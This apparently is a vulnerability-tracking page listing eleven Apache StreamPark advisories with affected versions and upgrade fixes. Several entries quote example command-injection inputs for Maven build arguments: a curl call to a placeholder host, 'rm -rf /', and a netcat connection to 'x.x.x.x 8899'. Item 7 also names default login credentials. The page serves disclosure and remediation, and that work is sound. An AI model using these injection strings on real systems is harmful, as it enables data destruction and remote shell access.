Skip to content

← Public intelligence

Maven package

org.apache.streampark:streampark

Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.

Open advisories

11 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.

  1. High, CVSS 8.2MavenPublished

    Apache StreamPark: Use the user’s password as the secret key Vulnerability

    CVE-2025-53960 · GHSA-3hg2-rh4r-8qf6

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.7
    Fixed in
    2.1.7· Vendor fix available
    Issue
    When encrypting sensitive data, weak encryption keys that are fixed or directly generated based on user passwords are used. Attackers can obtain these keys through methods such as reverse engineering, code leaks, or password guessing, thereby decrypting stored or transmitted encrypted data, leading to the leakage of sensitive information. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue.

    Recommended action: Upgrade to 2.1.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  2. High, CVSS 8.7MavenPublished

    Apache StreamPark uses a Weak Encryption Algorithm

    CVE-2025-54981 · GHSA-749j-2hp6-8cxm

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.7
    Fixed in
    2.1.7· Vendor fix available
    Issue
    Weak Encryption Algorithm in StreamPark, The use of an AES cipher in ECB mode and a weak random number generator for encrypting sensitive data, including JWT tokens, may have risked exposing sensitive authentication data This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue.

    Recommended action: Upgrade to 2.1.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  3. High, CVSS 8.7MavenPublished

    Apache StreamPark has a hard-coded encryption key

    CVE-2025-54947 · GHSA-prv5-c2px-j9q3

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.7
    Fixed in
    2.1.7· Vendor fix available
    Issue
    In Apache StreamPark versions 2.0.0 through 2.1.7, a security vulnerability involving a hard-coded encryption key exists. This vulnerability occurs because the system uses a fixed, immutable key for encryption instead of dynamically generating or securely configuring the key. Attackers may obtain this key through reverse engineering or code analysis, potentially decrypting sensitive data or forging encrypted information, leading to information disclosure or unauthorized system access. This issue affects Apache StreamPark: from 2.0.0 before 2.1.7. Users are recommended to upgrade to version 2.1.7, which fixes the issue.

    Recommended action: Upgrade to 2.1.7 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  4. High, CVSS 8.8MavenPublished

    Apache StreamPark: FreeMarker SSTI RCE Vulnerability

    CVE-2024-29178 · GHSA-vv8h-m63v-53pq

    Affected
    • Maven org.apache.streampark:streampark < 2.1.4
    Fixed in
    2.1.4· Vendor fix available
    Issue
    On versions before 2.1.4, a user could log in and perform a template injection attack resulting in Remote Code Execution on the server, The attacker must successfully log into the system to launch an attack, so this is a moderate-impact vulnerability. Mitigation: all users should upgrade to 2.1.4

    Recommended action: Upgrade to 2.1.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  5. Medium, CVSS 5.9MavenPublished

    Apache StreamPark: Information leakage vulnerability

    CVE-2024-29120 · GHSA-hcf8-5j78-887v

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.4
    Fixed in
    2.1.4· Vendor fix available
    Issue
    In Streampark (version < 2.1.4), when a user logged in successfully, the Backend service would return "Authorization" as the front-end authentication credential. User can use this credential to request other users' information, including the administrator's username, password, salt value, etc. Mitigation: all users should upgrade to 2.1.4

    Recommended action: Upgrade to 2.1.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  6. Medium, CVSS 4.7MavenPublished

    Apache StreamPark: Unchecked maven build params could trigger remote command execution

    CVE-2023-52291 · GHSA-7g94-hfqc-q993

    Affected
    • Maven org.apache.streampark:streampark < 2.1.4
    Fixed in
    2.1.4· Vendor fix available
    Issue
    In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Background: In the "Project" module, the maven build args “<” operator causes command injection. e.g : “< (curl http://xxx.com )” will be executed as a command injection, Mitigation: all users should upgrade to 2.1.4, The "<" operator will blocked。

    Recommended action: Upgrade to 2.1.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  7. Medium, CVSS 4.7MavenPublished

    Apache StreamPark: maven build params could trigger remote command execution

    CVE-2024-29737 · GHSA-5v69-92vw-fmjh

    Affected
    • Maven org.apache.streampark:streampark < 2.1.4
    Fixed in
    2.1.4· Vendor fix available
    Issue
    In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.4 Background info: Log in to Streampark using the default username (e.g. test1, test2, test3) and the default password (streampark). Navigate to the Project module, then add a new project. Enter the git repository address of the project and input touch /tmp/success2.1.2 as the "Build Argument". Note that there is no verification and interception of the special character "". As a result, you will find that this injection…

    Recommended action: Upgrade to 2.1.4 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  8. UnratedMavenPublished

    Apache StreamPark: Authenticated system users could trigger remote command execution

    CVE-2023-49898 · GHSA-qg44-xqwj-wc28

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.2
    Fixed in
    2.1.2· Vendor fix available
    Issue
    In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf / /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

    Recommended action: Upgrade to 2.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  9. Medium, CVSS 4.9MavenPublished

    Apache StreamPark: Authenticated system users could trigger SQL injection vulnerability

    CVE-2023-30867 · GHSA-rrcg-jwr5-32g7

    Affected
    • Maven org.apache.streampark:streampark >= 2.0.0, < 2.1.2
    Fixed in
    2.1.2· Vendor fix available
    Issue
    In the Streampark platform, when users log in to the system and use certain features, some pages provide a name-based fuzzy search, such as job names, role names, etc. The sql syntax :select from table where jobName like '%jobName%'. However, the jobName field may receive illegal parameters, leading to SQL injection. This could potentially result in information leakage. Mitigation: Users are recommended to upgrade to version 2.1.2, which fixes the issue.

    Recommended action: Upgrade to 2.1.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  10. Critical, CVSS 9.1MavenPublished

    Apache StreamPark Improper Input Validation vulnerability

    CVE-2022-46365 · GHSA-m5h8-2pjw-vg3j

    Affected
    • Maven org.apache.streampark:streampark >= 1.0.0, < 2.0.0
    Fixed in
    2.0.0· Vendor fix available
    Issue
    Apache StreamPark 1.0.0 before 2.0.0 When the user successfully logs in, to modify his profile, the username will be passed to the server-layer as a parameter, but not verified whether the user name is the currently logged user and whether the user is legal, This will allow malicious attackers to send any username to modify and reset the account, Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.

    Recommended action: Upgrade to 2.0.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →
  11. Medium, CVSS 5.4MavenPublished

    Apache StreamPark LDAP Injection vulnerability

    CVE-2022-45801 · GHSA-pjfj-qvqw-3f6v

    Affected
    • Maven org.apache.streampark:streampark >= 1.0.0, < 2.0.0
    Fixed in
    2.0.0· Vendor fix available
    Issue
    Apache StreamPark versions 1.0.0 to 2.0.0 have an LDAP injection vulnerability. LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements through techniques similar to SQL Injection. LDAP injection attacks could result in the granting of permissions to unauthorized queries, and content modification inside the LDAP tree. This risk may only occur when the user logs in with ldap, and the user name and password login will not be affected, Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.

    Recommended action: Upgrade to 2.0.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.

    Sources:github.comSource checked Evidence →